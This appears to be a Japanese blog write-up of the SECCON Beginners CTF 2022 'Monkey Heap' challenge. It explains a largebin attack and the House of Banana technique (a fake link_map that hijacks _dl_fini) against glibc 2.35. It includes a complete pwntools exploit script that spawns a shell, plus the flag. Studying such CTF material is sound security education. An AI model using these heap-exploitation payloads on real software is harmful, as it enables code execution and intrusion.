0
Help us understand the problem. What are the problem?

posted at

SECCON Beginners CTF 2022 Monkey Heapのwriteup(House of Bananaの解説)

SECCON Beginners CTF 2022でこの問題だけ解けなかったので、後から解いた。他の問題はこちら。

分かる人向け要約。

  • mallocにおいて、双方向リンクのチャンクは特にチェックが厳しいが、largebinに既存のチャンクよりも小さいチャンクを繋ぐときにはチェックが無い
  • これを利用すると、任意のアドレスにヒープのアドレスを書き込める
  • _rtld_global._dl_ns[0]._ns_loaded にヒープのアドレスを書き込み、ヒープに struct link_map を偽装しておくことで、任意コード実行に繋げられる

問題概要

ソースコード。

main.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#define MAX 4

char *papyrus[MAX];

int getint(const char *msg) {
  int v;
  printf("%s", msg);
  if (scanf("%d%*c", &v) != 1) exit(0);
  return v;
}

int main() {
  puts("1. new papyrus");
  puts("2. write");
  puts("3. read");
  puts("4. burn");

  while (1) {
    int choice = getint("> ");
    switch (choice) {
      case 1: {
        int index = getint("index: ");
        if (index < 0 || index >= MAX) break;
        int size = getint("size: ");
        if (size >= 0x600) break;
        if (size < 0x500) size = 0x500;
        papyrus[index] = (char*)calloc(size, 1);
        puts("[+] done! uhouho~~");
        break;
      }

      case 2: {
        int index = getint("index: ");
        if (index < 0 || index >= MAX || !papyrus[index]) break;
        printf("data: ");
        fgets(papyrus[index], 0x500, stdin);
        puts("[+] done! uhoho~");
        break;
      }

      case 3: {
        int index = getint("index: ");
        if (index < 0 || index >= MAX || !papyrus[index]) break;
        printf("papyrus: %s", papyrus[index]);
        break;
      }

      case 4: {
        int index = getint("index: ");
        if (index < 0 || index >= MAX) break;
        free(papyrus[index]);
        puts("[+] done! uhhoho");
        break;
      }

      default:
        puts("[+] bye! uho");
        return 0;
    }
  }
}

__attribute__((constructor))
void setup() {
  setvbuf(stdin, NULL, _IONBF, 0);
  setvbuf(stdout, NULL, _IONBF, 0);
  setvbuf(stderr, NULL, _IONBF, 0);
  alarm(180);
}

これだけ。ヒープ問で良く見る形式。

  • Double freeとuse after freeが可能
  • 確保可能なサイズは0x500バイト以上、0x600バイト未満
  • malloc ではなく calloc
    • 関数の仕様的には、0埋めをしてくれる malloc というだけ
    • 内部的にはtcacheを使わないという違いがある

Glibcは2.35。バイナリのセキュリティ機構は全て有効。

$ checksec chall
[*] '/mnt/d/documents/ctf/secconbeginners2022/Monkey Heap/monkey/bin/chall'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

サイズが0x500バイト以上なので、unsorted binとlargebin以外は使えない。新しいGlibcなのでチェックも厳しいだろうし、何をしたら良いのか分からなかった。サイズを上手いこと調節してチャンクを分割すれば、他のbinに入れることもできるだろうが、取り出せないから意味が無い。

解法

これをやるだけっぽい。まあ、SECCON Beginners CTFだし。

3種類の手法の組合わせという理解で良いのだろうか。

  1. largebin attackで任意のアドレスにヒープのアドレスを書き込む
  2. _rtld_global に偽の構造体を突っ込むことで、プログラムの終了時に任意のアドレスに制御を移す
  3. setcontext などを利用してシェルを取る

それぞれの手法単体でも使いどころがありそう。

largebin attack

largebinにチャンクを繋ぐ処理のうち、この部分ではチェックが無いことを利用する。ホントだ。他はこれでもかというほどチェックしているのに、ここはチェックが無いのか。

main.c
                  /* if smaller than smallest, bypass loop below */
                  assert (chunk_main_arena (bck->bk));
                  if ((unsigned long) (size)
                      < (unsigned long) chunksize_nomask (bck->bk))
                    {
                      fwd = bck;
                      bck = bck->bk;

                      victim->fd_nextsize = fwd->fd;
                      victim->bk_nextsize = fwd->fd->bk_nextsize;
                      fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
                    }

largebinは、smallbinなどと異なり、1個のbinに異なるサイズのチャンクが繋がれる。全てのチャンクを単に双方向リンクで繋ぐと、特定のサイズのチャンクを探すときに時間が掛かってしまうので、2重の双方向リンクになっている。各サイズのチャンクのうち、どれか1個が fd_nextsizebk_nextsize を使って、binに双方向リンクで繋がれている。そこからさらに同じサイズのチャンクが fdbk を使って繋がれている。

image.png

こんなイメージ。チャンクサイズは適当。

あるチャンク A がlargebinに繋がっているとき、チャンク Abk_nextsize (チャンクのアドレス+0x28、 malloc が返すアドレス+0x18)に、 addr-0x20 を書き込み、 A よりも小さなチャンク B をlargebinに繋げると、 addr にチャンク A のアドレスが書き込まれる。

細々と注意しないといけないことはある。

  • チャンク A が、同じlargebinに繋がれているチャンクの中で最小でなければいけない
  • largebinに入るチャンクは、前後のチャンクやtopと統合されるので、間に解放しない別のチャンクを挟まないといけない
  • 書き込まれるのはチャンクのアドレスであって、 malloc から返ってくるアドレス(プログラムの write コマンドで書き込めるアドレス)ではない

まあ、Pwngdbなどを入れて、ヒープの様子を確認しながらデバッグすれば何とかなる。

_rtld_global

ここが分からず、コンテスト中には解けなかった。ブログ記事で作っているpayloadと、struct rtld_global を見比べても全然対応している気がしなかった……。

これが間違いで、作っているpayloadは struct rtld_global ではなく struct link_map である。largebin attackでは、 _rtld_global を指すポインタを書き込んでいるのではなく、 _rtld_global の最初の要素を書き換えている。 _rtld_global の最初の要素は、 _rtld_global._dl_ns[0]._ns_loaded 。それさえ分かってしまえば、ブログ記事もすんなり読める。

main 関数から返ったり exit 関数を呼び出したりしたときに呼ばれる関数 _dl_fini のこの部分の処理を狙う。

dl-fini.c
                      if (l->l_info[DT_FINI_ARRAY] != NULL)
                        {
                          ElfW(Addr) *array =
                            (ElfW(Addr) *) (l->l_addr
                                            + l->l_info[DT_FINI_ARRAY]->d_un.d_ptr);
                          unsigned int i = (l->l_info[DT_FINI_ARRAYSZ]->d_un.d_val
                                            / sizeof (ElfW(Addr)));
                          while (i-- > 0)
                            ((fini_t) array[i]) ();
                        }

ここまで処理が到達するような、 struct link_map を作れば良い。

l_next で繋がった link_map を4個用意するのが面倒。そうしないといけないのは、 _rtld_global に4個あると書かれているのと整合性を取るため。

元記事のCのコードはこのチェーンを作っているのに、Pythonコードのほうが無いなと思ったら、本来繋がっているはずの link_map に繋いでいるかららしい。なるほど。これはこれで楽だけれど、しかし調べるアドレスが増えるのは手間。

link_map はサイズが大きいので最初のほうだけ作ったけれど、何かソートしている処理の奥のほうで落ちた。まあ、この辺はデバッガで動かしながら直せば良い。

あと、 _rtld_global はlibc.soではなくld.soの中にあることに注意。libc.soとld.soの相対アドレスは、ASLRのようにランダムに変わるわけではないけど、デバッガの有無とか、VMにインストールしたのとDockerで動かしているのとで変わって安定しない。だからこの問題ではDockerfileも配布されていたのか。この間隔はどうやって決まるのだろう。

シェルを取る

このone gadgetが動いたので良かった。

0xebcf1 execve("/bin/sh", r10, [rbp-0x70])
constraints:
  address rbp-0x78 is writable
  [r10] == NULL || r10 == NULL
  [[rbp-0x70]] == NULL || [rbp-0x70] == NULL

ブログ記事だと setcontext の途中に飛ばしている。 setcontextsetjmp / longjmp のすごい版らしく、レジスタをまとめて書き戻すような処理がある。それでstack pivotができて、あとは system("/bin/sh") を呼ぶと。

サイトの別の記事曰く、 _dl_fini 中のこの処理は複数の関数を連続して呼び出せるのでとても使い勝手良いらしい。

また、デバッガで動いているときの様子を見ると、ソートのために動的に配列を確保して各 link_map のアドレスを格納しているものが、ちょうどスタックにあって、それも使えそう。ここまで来られれば何とでもなりそう。

他の解法

なるほど。unsorted bin attackと違って、複数回使えるのか。これは、largebinが複数があるからではなく、unlink時の攻撃ではないから。以下のソースコードで、2回目は p1 ではなく、 p0 を書き換える。1回目に、largebinの bk_nextsize を書き換えるときの挙動で攻撃をしているので、 bk_nextsize はそのまま p0 を指しているということかな。

test.c
#include <stdio.h>
#include <stdlib.h>

int main()
{
    long *p0, *p1, *p2;
    long *target0 = NULL;
    long *target1 = NULL;

    p0 = malloc(0x520);
    malloc(0x10);
    p1 = malloc(0x510);
    malloc(0x10);
    p2 = malloc(0x500);
    malloc(0x10);

    printf("p0:      %p\n", p0);
    printf("p1:      %p\n", p1);
    printf("p2:      %p\n", p2);

    free(p0);
    malloc(0x530);

    p0[3] = (long)&target0-0x20;

    free(p1);
    malloc(0x530);

    // p1[3] = ... ではない
    p0[3] = (long)&target1-0x20;

    free(p2);
    malloc(0x530);

    printf("target0: %p\n", target0);
    printf("target1: %p\n", target1);
}
$ gcc -o test test.c && ./test
p0:      0x55f08c1502a0
p1:      0x55f08c1507f0
p2:      0x55f08c150d30
target0: 0x55f08c1507e0
target1: 0x55f08c150d20

攻略

attack.py
from pwn import *

context.arch = "amd64"
#context.log_level = "debug"

s = remote("monkey.quals.beginners.seccon.jp", 9999)
#s = remote("localhost", 8888)
#s = remote("172.19.91.41", 8888)

def new(index, size):
  s.sendlineafter(b"> ", b"1")
  s.sendlineafter(b"index: ", str(index).encode())
  s.sendlineafter(b"size: ", str(size).encode())

def write(index, data):
  s.sendlineafter(b"> ", b"2")
  s.sendlineafter(b"index: ", str(index).encode())
  s.sendlineafter(b"data: ", data)

def read(index, n):
  s.sendlineafter(b"> ", b"3")
  s.sendlineafter(b"index: ", str(index).encode())
  s.recvuntil(b"papyrus: ")
  return s.recv(n)

def burn(index):
  s.sendlineafter(b"> ", b"4")
  s.sendlineafter(b"index: ", str(index).encode())

def bye():
  s.sendlineafter(b"> ", b"5")

# https://www.anquanke.com/post/id/222948

# libcとheapのアドレスの取得
new(0, 0x500) # 0x0290
new(1, 0x500) # 0x07a0
new(2, 0x500) # 0x0cb0
new(3, 0x500) # 0x11c0

burn(0)
burn(2)

unsorted = unpack(read(0, 6).ljust(8, b"\0"))
print("unsorted:", hex(unsorted))
heap = unpack(read(2, 6).ljust(8, b"\0")) - 0x290
print("heap:", hex(heap))

burn(1)
burn(3)

# large bin attack
new(0, 0x510) # 0x0290
new(1, 0x500) # 0x07b0
new(2, 0x520) # 0x0cc0
new(3, 0x500) # 0x11f0

# 2 -> largebin
burn(2)
new(3, 0x530)

# glibc 2.31
#libc = unsorted - 0x1ebbe0
#rce = libc + 0xe6c7e
#_rtld_global = 0x7ffff7ffd060

# glibc 2.35
libc = unsorted - 0x219ce0
rce = libc + 0xebcf1
# gdb
#_rtld_global = libc + 0x240000 + 0x3a040
# no gdb
#_rtld_global = libc + 0x23a000 + 0x3a040
# server
_rtld_global = libc + 0x22c000 + 0x3a040

# _rtld_global._dl_ns[0]._ns_loaded = heap+0x290
write(2, (
  pack(0) + # fd
  pack(0) + # bk
  pack(0) + # fd_nextsize
  pack(_rtld_global-0x20) # bk_nextsize
))

# 0 -> largebin
burn(0)
new(3, 0x530)

# fake link_map
addr = heap+0x290 # &payload

payload = b""
# 0x0000: _ns_loaded
payload += pack(0)              # l_addr
payload += pack(0)              # l_name
payload += pack(0)              # l_ld
payload += pack(addr+0x320)     # l_next
payload += pack(0)              # l_prev
payload += pack(addr)           # l_real
payload += bytes(0x110-len(payload))
payload += pack(addr+0x3b0)     # l_info[DT_FINI_ARRAY]
payload += pack(0)
payload += pack(addr+0x3c0)     # l_info[DT_FINI_ARRAYSZ]
payload += bytes(0x31c-len(payload))
payload += p32(0x8)             # l_init_called

# 0x0320: link_map#1
payload += pack(0)              # l_addr
payload += pack(0)              # l_name
payload += pack(0)              # l_ld
payload += pack(addr+0x350)     # l_next
payload += pack(0)              # l_prev
payload += pack(addr+0x320)     # l_real

# 0x0350: link_map#2
payload += pack(0)              # l_addr
payload += pack(0)              # l_name
payload += pack(0)              # l_ld
payload += pack(addr+0x380)     # l_next
payload += pack(0)              # l_prev
payload += pack(addr+0x350)     # l_real

# 0x0380: link_map#2
payload += pack(0)              # l_addr
payload += pack(0)              # l_name
payload += pack(0)              # l_ld
payload += pack(0)              # l_next
payload += pack(0)              # l_prev
payload += pack(addr+0x380)     # l_real

# 0x3b0: fini_array
payload += pack(0)
payload += pack(addr+0x3e0)

# 0x3c0: fini_arraysz
payload += pack(0)
payload += pack(0x8)

# 0x3d0: _dl_sort_mapsがここを触り、0にしておかないと落ちる
payload += pack(0)
payload += pack(0)

# 0x3e0: array
payload += pack(rce)

# チャンクのアドレスとmallocの返り値の差分
# l_addrの位置が0になっているならば問題無い
payload = payload[0x10:]

write(0, payload)

bye()

s.interactive()
$ python3 attack.py
[+] Opening connection to monkey.quals.beginners.seccon.jp on port 9999: Done
unsorted: 0x7f78c01a9ce0
heap: 0x55eefb0c1000
[*] Switching to interactive mode
[+] bye! uho
$ cat flag*
ctf4b{wh4t_d1d_U_us3?_House_of_Banana/Emma/Husk?}
$
Why not register and get more from Qiita?
  1. We will deliver articles that match you
    By following users and tags, you can catch up information on technical fields that you are interested in as a whole
  2. you can read useful information later efficiently
    By "stocking" the articles you like, you can search right away
Sign upLogin
0
Help us understand the problem. What are the problem?